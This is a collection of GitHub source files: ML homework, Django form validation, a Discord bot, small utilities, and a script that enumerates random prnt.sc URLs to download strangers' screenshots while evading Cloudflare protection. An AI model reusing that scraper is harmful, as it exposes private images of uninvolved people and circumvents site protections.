{"seq_id":"19573172358","text":"import keras\nfrom keras import layers\nfrom keras import backend as K\nimport numpy as np\n\nTRAIN_FILE = 'zip.train'\nTEST_FILE = 'zip.test'\n\nimport numpy as np\nX1 = np.loadtxt(TRAIN_FILE)\nX2 = np.loadtxt(TEST_FILE)\nX = np.vstack((X1, X2))\n\ny = X[:, 0]\nX = np.delete(X, 0, axis=1)\n\ny[y != 1] = -1\n\nfrom sklearn.decomposition import PCA\npca = PCA(n_components=2, svd_solver='full')\npca.fit(X)\nX = pca.transform(X)\n\nX = (X - np.min(X, axis = 0)) / (np.max(X, axis = 0) - np.min(X, axis = 0))\n\nfrom sklearn.model_selection import train_test_split\nX_test, X_train, y_test, y_train = train_test_split(X, y, test_size= 300 / X.shape[0])\n\n\nmodel = keras.Sequential()\nmodel.add(layers.Dense(10, activation= 'tanh'))\nmodel.add(layers.Dense(1))\n\nfrom keras.callbacks import EarlyStopping\nes = EarlyStopping(monitor='val_loss', mode='min', verbose=1)\nmodel.compile('adam', 'mean_squared_error')\nhistory = model.fit(X_train, y_train, validation_split = 1/6, epochs = 10000, verbose=2, callbacks = [es])\n\npreds = model.predict(X_test)\npreds[preds > 0] = 1\npreds[preds < 0] = -1\nfrom sklearn.metrics import accuracy_score\nprint(1-accuracy_score(y_test, preds))\n\n\n\n\nimport matplotlib.pyplot as plt\nplt.scatter(X[:, 0], X[:, 1], c = y)\nx1, x2 = np.mgrid[-5:5:0.01, -5:5:0.01]\ny_hat = model.predict(np.c_[x1.ravel(), x2.ravel()]).reshape((x1.shape[0], x2.shape[0]))\nplt.contour(x1, x2, y_hat, [0])\nplt.show()\n\n\n\n","repo_name":"karan-sarkar/RPI","sub_path":"Machine Learning/HW7/neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39108038444","text":"def solve(n,m):\r\n    result=0\r\n    while(n>=m):\r\n        result+=int(n/m)\r\n        n=int(n/m)+(n%m)\r\n    return result\r\nt=int(input())\r\nwhile(t>0):\r\n    n,m=map(int,input().split())\r\n    print(solve(n,m))\r\n    t-=1\r\n","repo_name":"RahulDeyasi/Interview-Preparation","sub_path":"Interview prep/bottle.py","file_name":"bottle.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71648218344","text":"from django import forms\nfrom django.template.defaultfilters import force_escape\nfrom baruwa.utils.regex import DOM_RE\nimport datetime, time\ntry:\n    from django.forms.fields import email_re\n    from django.forms.fields import ipv4_re\nexcept ImportError:\n    from django.core.validators import email_re\n    from django.core.validators import ipv4_re\n\n\nFILTER_ITEMS = (\n    ('id','Message ID'),\n    ('size','Size'),\n    ('from_address','From Address'),\n    ('from_domain', 'From Domain'),\n    ('to_address','To Address'),\n    ('to_domain','To Domain'),\n    ('subject','Subject'),\n    ('clientip','Received from'),\n#    ('archive','Is Archived'),\n    ('scaned', 'Was scanned'),\n    ('spam','Is spam'),\n    ('highspam','Is high spam'),\n    ('saspam','Is SA spam'),\n    ('rblspam','Is RBL listed'),\n    ('whitelisted','Is whitelisted'),\n    ('blacklisted','Is blacklisted'),\n    ('sascore','SA score'),\n    ('spamreport','Spam report'),\n    ('virusinfected','Is virus infected'),\n    ('nameinfected','Is name infected'),\n    ('otherinfected','Is other infected'),\n    ('date','Date'),\n    ('time','Time'),\n    ('headers','Headers'),\n    ('isquarantined','Is quarantined'),\n)\n\nFILTER_BY = (\n    (1,'is equal to'),\n    (2,'is not equal to'),\n    (3,'is greater than'),\n    (4,'is less than'),\n    (5,'contains'),\n    (6,'does not contain'),\n    (7,'matches regex'),\n    (8,'does not match regex'),\n    (9,'is null'),\n    (10,'is not null'),\n    (11,'is true'),\n    (12,'is false'),\n)\n\nEMPTY_VALUES = (None, '')\n\nBOOL_FIELDS = [\"scaned\", \"spam\", \"highspam\", \"saspam\", \"rblspam\",\n    \"whitelisted\", \"blacklisted\", \"virusinfected\", \"nameinfected\",\n    \"otherinfected\", \"isquarantined\"]\nTEXT_FIELDS = [\"id\", \"from_address\", \"from_domain\", \"to_address\",\n    \"to_domain\", \"subject\", \"clientip\", \"spamreport\", \"headers\"]\nTIME_FIELDS = [\"date\",\"time\"]\nNUM_FIELDS = [\"size\", \"sascore\"]\n\nBOOL_FILTER = [11, 12]\nNUM_FILTER = [1, 2, 3, 4]\nTEXT_FILTER = [1, 2, 5, 6, 7, 8, 9, 10]\nTIME_FILTER = [1, 2, 3, 4]\n\ndef isnumeric(value):\n    \"Validate numeric values\"\n    return str(value).replace(\".\", \"\").replace(\"-\", \"\").isdigit()\n\ndef to_dict(tuple_list):\n    \"Convert tuple to dictionary\"\n    dic = {}\n    for val in tuple_list:\n        dic[val[0]] = val[1]\n    return dic\n\nclass FilterForm(forms.Form):\n    \"Filters form\"\n    filtered_field = forms.ChoiceField(choices=FILTER_ITEMS)\n    filtered_by = forms.ChoiceField(choices=FILTER_BY)\n    filtered_value = forms.CharField(required=False)\n\n    def clean(self):\n        \"validate the form\"\n        cleaned_data = self.cleaned_data\n        submited_field = cleaned_data.get('filtered_field')\n        submited_by = int(cleaned_data.get('filtered_by'))\n        submited_value = cleaned_data.get('filtered_value')\n        if submited_by != 0:\n            sbi = (submited_by - 1)\n        else:\n            sbi = submited_by\n\n        if submited_field in BOOL_FIELDS:\n            if not submited_by in BOOL_FILTER:\n                filter_items = to_dict(list(FILTER_ITEMS))\n                error_msg = \"%s does not support the %s filter\" % (\n                    filter_items[submited_field],FILTER_BY[sbi][1])\n                raise forms.ValidationError(error_msg)\n        if submited_field in NUM_FIELDS:\n            if not submited_by in NUM_FILTER:\n                filter_items = to_dict(list(FILTER_ITEMS))\n                error_msg = \"%s does not support the %s filter\" % (\n                    filter_items[submited_field],FILTER_BY[sbi][1])\n                raise forms.ValidationError(error_msg)\n            if submited_value in EMPTY_VALUES:\n                raise forms.ValidationError(\"Please supply a value to query\")\n            if not isnumeric(submited_value):\n                raise forms.ValidationError(\"The value has to be numeric\")\n        if submited_field in TEXT_FIELDS:\n            if not submited_by in TEXT_FILTER:\n                filter_items = to_dict(list(FILTER_ITEMS))\n                error_msg = \"%s does not support the %s filter\" % (\n                    filter_items[submited_field],FILTER_BY[sbi][1])\n                raise forms.ValidationError(error_msg)\n            if submited_value in EMPTY_VALUES:\n                raise forms.ValidationError(\"Please supply a value to query\")\n            if ( FILTER_BY[sbi][1] == 'is equal to' or FILTER_BY[sbi][1] == 'is not equal to' ):\n                if (submited_field == 'from_address') or (\n                    submited_field == 'to_address'):\n                    if not email_re.match(submited_value.strip()):\n                        raise forms.ValidationError(\n                            '%s is not a valid e-mail address.'\n                            % force_escape(submited_value))\n                if (submited_field == 'from_domain') or (\n                    submited_field == 'to_domain'):\n                    if not DOM_RE.match(submited_value.strip()):\n                        raise forms.ValidationError(\n                            'Please provide a valid domain name')\n                if submited_field == 'clientip':\n                    if not ipv4_re.match(submited_value.strip()):\n                        raise forms.ValidationError(\n                            'Please provide a valid ipv4 address')\n        if submited_field in TIME_FIELDS:\n            if not submited_by in TIME_FILTER:\n                filter_items = to_dict(list(FILTER_ITEMS))\n                error_msg = \"%s does not support the %s filter\" % (\n                    filter_items[submited_field],FILTER_BY[sbi][1])\n                raise forms.ValidationError(error_msg)\n            if submited_value in EMPTY_VALUES:\n                raise forms.ValidationError(\"Please supply a value to query\")\n            if submited_field == 'date':\n                try:\n                    datetime.date(\n                        *time.strptime(submited_value, '%Y-%m-%d')[:3])\n                except ValueError:\n                    raise forms.ValidationError(\n                        'Please provide a valid date in YYYY-MM-DD format')\n            if submited_field == 'time':\n                try:\n                    datetime.time(*time.strptime(submited_value, '%H:%M')[3:6])\n                except ValueError:\n                    raise forms.ValidationError(\n                        'Please provide valid time in HH:MM format')\n\n        return cleaned_data\n\n","repo_name":"antineutron/baruwa","sub_path":"src/baruwa/reports/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"22994220498","text":"from Data import Data\nclass Bt:\n    def __init__(self , Matrix ,N , col, V , M,T=2):\n        self.graph = Matrix\n        self.m=M\n        self.V=V\n        self.T=T\n        self.name=N\n        self.cl=col\n\n    def isSafe(self,graph, color):\n        for i in range(self.V):\n            for j in range(i, self.V):\n                if graph[i][j]==1 and color[j]==color[i]:\n                    return False\n        return True\n\n    def graphColoring(self,graph, m , i , color):\n        if i==self.V:\n            if self.isSafe(graph,color):\n                self.printSolution(color)\n                return True\n            return False\n        for j in range(1 , m+1):\n            color[i]=j\n            if self.graphColoring(graph , m , i+1 , color):\n                return True\n            color[i]=0\n        return False\n\n    def printSolution(self,color) :\n        print(\"Solution Exists: Following are the assigned colors\")\n        for i in range(self.V):\n            print(self.name[i]+\" : \"+self.cl[color[i]])\n\n    def Start(self):\n        color=list()\n        for i in range(self.V):\n            color.append(0)\n        if not(self.graphColoring(self.graph,self.m,0,color)):\n            print(\"Solution does not exist\")\n\n","repo_name":"xmsa/Coloring-Graph-old","sub_path":"backtracking.py","file_name":"backtracking.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"3238795776","text":"#Дана последовательность чисел.\n# Получить список уникальных элементов заданной последовательности, \n# список повторяемых и убрать дубликаты из заданной последовательности.\n#Пример:\n#[1, 2, 3, 5, 1, 5, 3, 10] => [2, 10] и [1, 3, 5] и [1, 2, 5, 3, 10]\nimport itertools\n\nlst_input = input('Введите последовательность чисел :  ')\nlst_number = [int(num)for num in lst_input.split()]\nlst_not_doble = list(set(lst_number))\nlst_sort = sorted(lst_number)\nlst_unique = []\nlst_repeat = []\nfor num, lst_num in itertools.groupby(lst_sort):\n    if len(list(lst_num)) ==1:\n        lst_unique.append(num)\n    else:\n        lst_repeat.append(num)   \nprint(f'Исходная последовательность чисел:   {lst_number}')   \nprint(f'Список неповторяющихся чисел:   {lst_unique}')  \nprint(f'Список повторяющихся чисел последовательности:   {lst_repeat}')  \nprint(f'Список без дублей:   {lst_not_doble}')     \n\n\n\n\n\n\n\n","repo_name":"MariaMihajlenko/Python_HW","sub_path":"HW_6/task6_3.py","file_name":"task6_3.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"5789817087","text":"import logging.config\n\nlogging.config.fileConfig(\"logging.ini\", disable_existing_loggers=False)\n\nlog = logging.getLogger(__name__)\n\nlog.debug('DEBUG message')\nlog.info('INFO message')\nlog.warning('WARNING message')\nlog.error('ERROR message')\nlog.critical('CRITICAL message')","repo_name":"richajoy/Python","sub_path":"tools/logging-4.py","file_name":"logging-4.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"5904591158","text":"# csv_handler.py\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom .models import CsvData\n\ndef process_csv(file):\n    pdf = pd.read_csv('media/'+file)\n    # Save data to CsvData model\n    avg_price_by_year = pdf.groupby('year')['price'].mean()\n\n    # Create a line chart to visualize the average price by year\n    plt.figure(figsize=(8, 6))\n    plt.plot(avg_price_by_year.index, avg_price_by_year.values, marker='o', color='b', linestyle='-', linewidth=2, markersize=8)\n    plt.title('Average Price by Year')\n    plt.xlabel('Year')\n    plt.ylabel('Average Price')\n    plt.title('Price by Year')\n    chart_path = 'media/sample_chart.png'  # Save the chart as an image\n    plt.savefig(chart_path)\n    plt.close()\n    return chart_path\n","repo_name":"code-with-abe/smartapp","sub_path":"bsmart/process_file.py","file_name":"process_file.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"31063962165","text":"\n\nfrom ..utils import Object\n\n\nclass Notification(Object):\n    \"\"\"\n    Contains information about a notification \n\n    Attributes:\n        ID (:obj:`str`): ``Notification``\n\n    Args:\n        id (:obj:`int`):\n            Unique persistent identifier of this notification \n        date (:obj:`int`):\n            Notification date\n        is_silent (:obj:`bool`):\n            True, if the notification was explicitly sent without sound \n        type (:class:`telegram.api.types.NotificationType`):\n            Notification type\n\n    Returns:\n        Notification\n\n    Raises:\n        :class:`telegram.Error`\n    \"\"\"\n    ID = \"notification\"\n\n    def __init__(self, id, date, is_silent, type, **kwargs):\n        \n        self.id = id  # int\n        self.date = date  # int\n        self.is_silent = is_silent  # bool\n        self.type = type  # NotificationType\n\n    @staticmethod\n    def read(q: dict, *args) -> \"Notification\":\n        id = q.get('id')\n        date = q.get('date')\n        is_silent = q.get('is_silent')\n        type = Object.read(q.get('type'))\n        return Notification(id, date, is_silent, type)\n","repo_name":"iTeam-co/pytglib","sub_path":"pytglib/api/types/notification.py","file_name":"notification.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"36"}
{"seq_id":"34955878379","text":"from bs4 import BeautifulSoup\nimport cfscrape\nimport shutil\nimport sys\nimport time\nfrom random import randrange\n\ndef randomurlnums():\n    urlnums = randrange(1,9999)\n    if urlnums < 1000:\n        while len(str(urlnums)) < 4:\n            urlnums = '0'+str(urlnums)\n    else:\n        urlnums= str(urlnums)\n    return urlnums\ndef randomurlletters():\n    alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n    first = alphabet[randrange(25)]\n    second = alphabet[randrange(25)]\n    letters = first+second\n    return letters\n\n\n# I sleep inside here because I got an ip banned by cloud flare )=\n\n\n\n#this function just takes a url that links to a .png file and saves it in the same directory with given filename\n#we have to do this through an http request because of cloudflare\ndef urlImg2File(url,filename):\n    time.sleep(0.1)\n    response = scraper.get(url,stream=True)\n    #this is where the writing to file happens idk the specifics stolen from stack overflow\n    with open(f'{filename}.png','wb') as out_file:\n        shutil.copyfileobj(response.raw,out_file)\n    del response\nrandom = False\nstarturl = 'https://prnt.sc/'\nif len(sys.argv) == 2 or len(sys.argv) == 1:\n    print('random url')\n    random = True\n    urlnums = 0\n    \n    if len(sys.argv)==1:\n        stop = 100\n    else:\n        stop = int(sys.argv[1])\n\n    \nelse:\n    \n    letters = sys.argv[1]\n\n    urlnums = sys.argv[2]\n\n    #each time we run it goes for 100\n    stop = int(urlnums) + int(sys.argv[3])\n\n\n\nif(stop>=10000):\n    print('start number too high for the amount of pictures you want')\n    quit()\n#The scraper has to emulate a browser so we have to create an instance of a nodejs server to do that cfscrape allows that and here\n#the fake browser is created\nscraper = cfscrape.create_scraper()\n\n\nwhile int(urlnums) < stop:\n    if not random:\n        url = starturl + letters + urlnums\n    else:\n        url = starturl + randomurlletters() + randomurlnums()\n    print(url)\n    #sleep get url grab data feed it into beautiful soup so we can iterate over it better\n    time.sleep(0.1)\n    page = scraper.get(url)\n    data = page.text\n    \n    soup = BeautifulSoup(data, 'html5lib')\n\n    image = None\n    #for every link we find with the img tag\n    for link in soup.find_all('img'):\n        #we check if starts with https://image which was gotten through source inspection of prnt.sc\n        tempurl = str(link.get('src'))\n        if tempurl.startswith('https://image'):\n            #increment url number to bruteforce look\n            urlnums = str(int(urlnums) + 1)\n            #we save our found png with a file name so we can get back to it from the url.\n            if not random:\n                urlImg2File(tempurl,letters+urlnums)\n            else:\n                urlImg2File(tempurl,url[16:])\n            break\n    else:\n        urlnums = str(int(urlnums) + 1)\n        if random:\n            stop+=1\n    continue\n\n\n","repo_name":"CrabBucket/prntscScraper","sub_path":"testscraper.py","file_name":"testscraper.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"40238685983","text":"import pandas as pd\nimport tweepy\nfrom datetime import datetime\n\n# twitter api credentials\nACCESS_TOKEN = 'XXXXXX'\nACCESS_SECRET = 'XXXXX'\nCONSUMER_KEY = 'XXXXX'\nCONSUMER_SECRET = 'XXXXX'\n\n\n# Setup access to API\ndef connect_to_twitter_OAuth():\n    auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\n    auth.set_access_token(ACCESS_TOKEN, ACCESS_SECRET)\n\n    api = tweepy.API(auth, wait_on_rate_limit = True)\n    return api\n\nlimit = 500\n# Create API object\napi = connect_to_twitter_OAuth()\n\nprint(\"try again\")\ntweets = []\n# scraping 2000 tweets\nfor i in range(100):\n    tweets.extend(api.user_timeline(\n        screen_name = '@WilliamsRuto',\n        include_rts = True,\n        # keep full text\n        tweet_mode = 'extended'\n\n    ))\n\ntweet_list = []\nfor tweet in tweets:\n    text = tweet._json['full_text']\n\n    refined_tweet = {\n        'user': tweet.user.screen_name,\n        'text' : text,\n        'favorite_count': tweet.favorite_count,\n        'retweet_count' : tweet.retweet_count,\n        'create_at': tweet.created_at,\n    }\n\n    tweet_list.append(refined_tweet)\n\ndf = pd.DataFrame(tweet_list)\n\ndf.to_csv('william_ruto_tweets.csv')\nprint(\"done\")\n\n\n\nwilliam = pd.read_csv(\"william_ruto_tweets.csv\")\nprint(william.shape)\n","repo_name":"spkibe/presidents-tweets","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"619209377","text":"\"\"\"Create yaml files from bib files.\"\"\"\nimport bibtexparser\nfrom bibtexparser.bparser import BibTexParser\nfrom bibtexparser.customization import author, convert_to_unicode\nimport yaml\nimport argparse\nimport os\n\ndef format_authors(list_of_authors, special_author):\n    authors = \"\"\n    num_authors = len(list_of_authors)\n    for idx, author in enumerate(list_of_authors):\n        last, first = author.split(\", \")\n        initials = \"\".join([x[0] + \". \" for x in first.split(\" \")])\n        if idx <= (num_authors - 3):\n            joining_string = \", \"\n        elif idx == (num_authors - 2):\n            joining_string = \" \\& \"\n        else:\n            joining_string = \"\"\n        author_name = initials + last\n        if author_name == special_author:\n            author_name = r\"\\underline{\" + author_name + \"}\"\n        authors += author_name + joining_string\n    return authors\n\ndef customizations(record):\n    record = author(record)\n    record = convert_to_unicode(record)\n    return record\n\ndef format_entries(entries_dict, special_author):\n    for k in entries_dict.keys():\n        if \"collaboration\" not in entries_dict[k]:\n            entries_dict[k][\"author\"] = format_authors(\n                entries_dict[k][\"author\"], special_author)\n\ndef get_publication_dict_from_bib(bibfile, special_author):\n    bib_file = open(bibfile, \"r\")\n    parser = BibTexParser()\n    parser.customization = customizations\n    bib_database = bibtexparser.load(bib_file, parser=parser)\n    bib_file.close()\n    entries_dict = bib_database.entries_dict\n    format_entries(entries_dict, special_author)\n    return entries_dict\n\ndef get_publication_list_from_dict(pub_dict):\n    publist = \"\\\\begin{enumerate}\\n\"\n    for k in pub_dict:\n        d = data[k]\n        if \"collaboration\" in d:\n            d[\"author\"] = d[\"collaboration\"]\n        p = \"\\\\item \"\n        p += d[\"author\"] + \", \" + \"``\" + d[\"title\"] + \"\\\"\" + \", \"\n        if \"journal\" in d:\n            p += \"\\href{\" + \"https://doi.org/\" + d[\"doi\"] + \"}{\" + d[\"journal\"] + \"}\" + \", \"\n            p += \"{\\\\bfseries \" + d[\"volume\"] + \"}\" + \", \" + d[\"pages\"] + \", \"\n        p += \"(\" + d[\"year\"] + \"), \"\n        p += \"\\href{\" + \"https://arxiv.org/abs/\" + d[\"eprint\"] + \"}{arXiv:\" + d[\"eprint\"] + \" [\" + d[\"primaryclass\"] +\"]}\" + \", \"\n        publist += \"\\\\end{enumerate}\\n\"\n","repo_name":"md-arif-shaikh/ycv","sub_path":"ycv/publications.py","file_name":"publications.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"74249584745","text":"from ecsController import ecsController\nimport unittest\nimport logging\n\nREGION = 'eu-west-2'\nSEARCHTAG = 'DEVDAY'\n\nclass test_deleteState(unittest.TestCase):\n\n\n\n    def test_delete(self):\n        logger.info(\"-----Testing delete State method------\")\n\n        ecs = ecsController(REGION, SEARCHTAG)\n        clustermap  =ecs.loadState()\n        orig = len(clustermap)\n        self.assertTrue(orig>0, msg=\"database should not have been empty\")\n\n        logger.info(f\"******LOADED MAP > {clustermap} \")\n        ecs._deleteState(clustermap)\n        nomap = ecs.loadState()\n        items = len(nomap)\n        self.assertEqual(items,0,msg=\"there should be no items in the database\")\n\n        logger.info(\"restoring the database state\")\n        ecs.storeState(clustermap)\n\n\n\nif __name__ == '__main__':\n    logging.basicConfig(level=logging.INFO)\n    logger =logging.getLogger()\n    unittest.main()","repo_name":"evoraglobal/SleepSaver","sub_path":"tests/test_deleteState.py","file_name":"test_deleteState.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"10358580247","text":"import asyncio\nimport datetime\nimport io\nimport os\nimport re\nimport random\nimport signal\nimport sys\n\nimport discord\nimport pygame\n\nfrom pgbot import commands, common, db, emotion, routine\nfrom pgbot.utils import embed_utils, utils\n\n\nasync def _init():\n    \"\"\"\n    Startup call helper for pygame bot\n    \"\"\"\n    if not common.TEST_MODE:\n        # when we are not in test mode, we want stout/stderr to appear on a console\n        # in a discord channel\n        sys.stdout = sys.stderr = common.stdout = io.StringIO()\n\n    print(\"The PygameCommunityBot is now online!\")\n    print(\"Server(s):\")\n\n    for server in common.bot.guilds:\n        prim = \"\"\n\n        if common.guild is None and (\n            common.GENERIC or server.id == common.ServerConstants.SERVER_ID\n        ):\n            prim = \"| Primary Guild\"\n            common.guild = server\n\n        print(\" -\", server.name, \"| Number of channels:\", len(server.channels), prim)\n        if common.GENERIC:\n            continue\n\n        for channel in server.channels:\n            if channel.id == common.ServerConstants.DB_CHANNEL_ID:\n                common.db_channel = channel\n                await db.init()\n            elif channel.id == common.ServerConstants.LOG_CHANNEL_ID:\n                common.log_channel = channel\n            elif channel.id == common.ServerConstants.ARRIVALS_CHANNEL_ID:\n                common.arrivals_channel = channel\n            elif channel.id == common.ServerConstants.GUIDE_CHANNEL_ID:\n                common.guide_channel = channel\n            elif channel.id == common.ServerConstants.ROLES_CHANNEL_ID:\n                common.roles_channel = channel\n            elif channel.id == common.ServerConstants.ENTRIES_DISCUSSION_CHANNEL_ID:\n                common.entries_discussion_channel = channel\n            elif channel.id == common.ServerConstants.CONSOLE_CHANNEL_ID:\n                common.console_channel = channel\n            elif channel.id == common.ServerConstants.RULES_CHANNEL_ID:\n                common.rules_channel = channel\n            for key, value in common.ServerConstants.ENTRY_CHANNEL_IDS.items():\n                if channel.id == value:\n                    common.entry_channels[key] = channel\n\n\nasync def init():\n    \"\"\"\n    Startup call helper for pygame bot\n    \"\"\"\n    try:\n        await _init()\n    except Exception:\n        # error happened in the first init sequence. report error to stdout/stderr\n        # note that the chances of this happening are pretty slim, but you never know\n        sys.stdout = sys.__stdout__\n        sys.stderr = sys.__stderr__\n        raise\n\n    routine.handle_console.start()\n    routine.routine.start()\n\n    if common.guild is None:\n        raise RuntimeWarning(\n            \"Primary guild was not set. Some features of bot would not run as usual.\"\n            \" People running commands via DMs might face some problems\"\n        )\n\n\ndef format_entries_message(msg: discord.Message, entry_type: str):\n    \"\"\"\n    Formats an entries message to be reposted in discussion channel\n    \"\"\"\n    if entry_type != \"\":\n        title = f\"New {entry_type.lower()} in #{common.ZERO_SPACE}{common.entry_channels[entry_type].name}\"\n    else:\n        title = \"\"\n\n    attachments = \"\"\n    if msg.attachments:\n        for i, attachment in enumerate(msg.attachments):\n            attachments += f\" • [Link {i + 1}]({attachment.url})\\n\"\n    else:\n        attachments = \"No attachments\"\n\n    desc = msg.content if msg.content else \"No description provided.\"\n\n    fields = [\n        [\"**Posted by**\", msg.author.mention, True],\n        [\"**Original msg.**\", f\"[View]({msg.jump_url})\", True],\n        [\"**Attachments**\", attachments, True],\n        [\"**Description**\", desc, True],\n    ]\n    return title, fields\n\n\ndef entry_message_validity_check(\n    message: discord.Message, min_chars=32, max_chars=float(\"inf\")\n):\n    \"\"\"Checks if a message posted in a showcase channel for projects has the right format.\n\n    Returns:\n        bool: True/False\n    \"\"\"\n    url_regex_pattern = r\"(http|ftp|https):\\/\\/([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:\\/~+#-]*[\\w@?^=%&\\/~+#-])\"\n    # https://stackoverflow.com/a/6041965/14826938\n\n    search_obj = re.search(\n        url_regex_pattern, (message.content if message.content else \"\")\n    )\n    link_in_msg = bool(search_obj)\n    first_link_str = search_obj.group() if link_in_msg else \"\"\n\n    if (\n        message.content\n        and (link_in_msg and len(message.content) > len(first_link_str))\n        and min_chars < len(message.content) < max_chars\n    ):\n        return True\n\n    elif (message.content or message.reference) and message.attachments:\n        return True\n\n    return False\n\n\nasync def delete_bad_entry_and_warning(\n    entry_msg: discord.Message, warn_msg: discord.Message, delay: float = 0.0\n):\n    \"\"\"A function to pardon a bad entry message with a grace period. If this coroutine is not cancelled during the\n    grace period specified in `delay` in seconds, it will delete both `entry_msg` and `warn_msg`, if possible.\n\n    Args:\n        entry_msg (discord.Message): [description]\n        warn_msg (discord.Message): [description]\n        delay (float, optional): [description]. Defaults to 0..\n    \"\"\"\n    try:\n        await asyncio.sleep(delay)  # allow cancelling during delay\n    except asyncio.CancelledError:\n        return\n\n    try:\n        await warn_msg.edit(\"Sorry, but your showcase entry will now be deleted.\")\n        await asyncio.sleep(0)\n    except asyncio.CancelledError:\n        pass\n\n    finally:\n        await entry_msg.delete()\n        await warn_msg.delete()\n\n\nasync def member_join(member: discord.Member):\n    \"\"\"\n    This function handles the greet message when a new member joins\n    \"\"\"\n    if common.TEST_MODE or member.bot or common.GENERIC:\n        # Do not greet people in test mode, or if a bot joins\n        return\n\n    greet = random.choice(common.BOT_WELCOME_MSG[\"greet\"])\n    check = random.choice(common.BOT_WELCOME_MSG[\"check\"])\n\n    grab = random.choice(common.BOT_WELCOME_MSG[\"grab\"])\n    end = random.choice(common.BOT_WELCOME_MSG[\"end\"])\n\n    # This function is called right when a member joins, even before the member\n    # finishes the join screening. So we wait for that to happen and then send\n    # the message. Wait for a maximum of six hours.\n    for _ in range(10800):\n        await asyncio.sleep(2)\n\n        if not member.pending:\n            # Don't use embed here, because pings would not work\n            await common.arrivals_channel.send(\n                f\"{greet} {member.mention}! {check} \"\n                + f\"{common.guide_channel.mention}{grab} \"\n                + f\"{common.roles_channel.mention}{end}\"\n            )\n            # new member joined, yaayyy, snek is happi\n            await emotion.update(\"happy\", 20)\n            return\n\n\nasync def clean_db_member(member: discord.Member):\n    \"\"\"\n    This function silently removes users from database messages\n    \"\"\"\n    for table_name in (\"stream\", \"reminders\", \"clock\"):\n        async with db.DiscordDB(table_name) as db_obj:\n            data = db_obj.get({})\n            if member.id in data:\n                data.pop(member)\n                db_obj.write(data)\n\n\nasync def message_delete(msg: discord.Message):\n    \"\"\"\n    This function is called for every message deleted by user.\n    \"\"\"\n    if msg.id in common.cmd_logs.keys():\n        del common.cmd_logs[msg.id]\n\n    elif msg.author.id == common.bot.user.id:\n        for log in common.cmd_logs.keys():\n            if common.cmd_logs[log].id is not None:\n                if common.cmd_logs[log].id == msg.id:\n                    del common.cmd_logs[log]\n                    return\n\n    if common.GENERIC or common.TEST_MODE:\n        return\n\n    if msg.channel in common.entry_channels.values():\n        if (\n            msg.channel.id == common.ServerConstants.ENTRY_CHANNEL_IDS[\"showcase\"]\n            and msg.id in common.entry_message_deletion_dict\n        ):  # for case where user deletes their bad entry by themselves\n            deletion_data_list = common.entry_message_deletion_dict[msg.id]\n            deletion_task = deletion_data_list[0]\n            if not deletion_task.done():\n                deletion_task.cancel()\n                try:\n                    warn_msg = await msg.channel.fetch_message(\n                        deletion_data_list[1]\n                    )  # warning and entry message were already deleted\n                    await warn_msg.delete()\n                except discord.NotFound:\n                    pass\n\n            del common.entry_message_deletion_dict[msg.id]\n\n        async for message in common.entries_discussion_channel.history(\n            around=msg.created_at, limit=5\n        ):\n            try:\n                link = message.embeds[0].fields[1].value\n                if not isinstance(link, str):\n                    continue\n\n                if int(link.split(\"/\")[6][:-1]) == msg.id:\n                    await message.delete()\n                    break\n\n            except (IndexError, AttributeError):\n                pass\n\n\nasync def message_edit(old: discord.Message, new: discord.Message):\n    \"\"\"\n    This function is called for every message edited by user.\n    \"\"\"\n    if new.content.startswith(common.PREFIX):\n        try:\n            if new.id in common.cmd_logs.keys():\n                await commands.handle(new, common.cmd_logs[new.id])\n        except discord.HTTPException:\n            pass\n\n    if common.GENERIC or common.TEST_MODE:\n        return\n\n    if new.channel in common.entry_channels.values():\n        embed_repost_edited = False\n        if new.channel.id == common.ServerConstants.ENTRY_CHANNEL_IDS[\"showcase\"]:\n            if not entry_message_validity_check(new):\n                if new.id in common.entry_message_deletion_dict:\n                    deletion_data_list = common.entry_message_deletion_dict[new.id]\n                    deletion_task = deletion_data_list[0]\n                    if deletion_task.done():\n                        del common.entry_message_deletion_dict[new.id]\n                    else:\n                        try:\n                            deletion_task.cancel()  # try to cancel deletion after noticing edit by sender\n                            warn_msg = await new.channel.fetch_message(\n                                deletion_data_list[1]\n                            )\n                            deletion_datetime = (\n                                datetime.datetime.utcnow()\n                                + datetime.timedelta(minutes=2)\n                            )\n                            await warn_msg.edit(\n                                content=(\n                                    \"I noticed your edit, but: Your entry message must contain an attachment or a (Discord recognized) link to be valid.\"\n                                    \" If it doesn't contain any characters but an attachment, it must be a reply to another entry you created.\"\n                                    f\" If no attachments are present, it must contain at 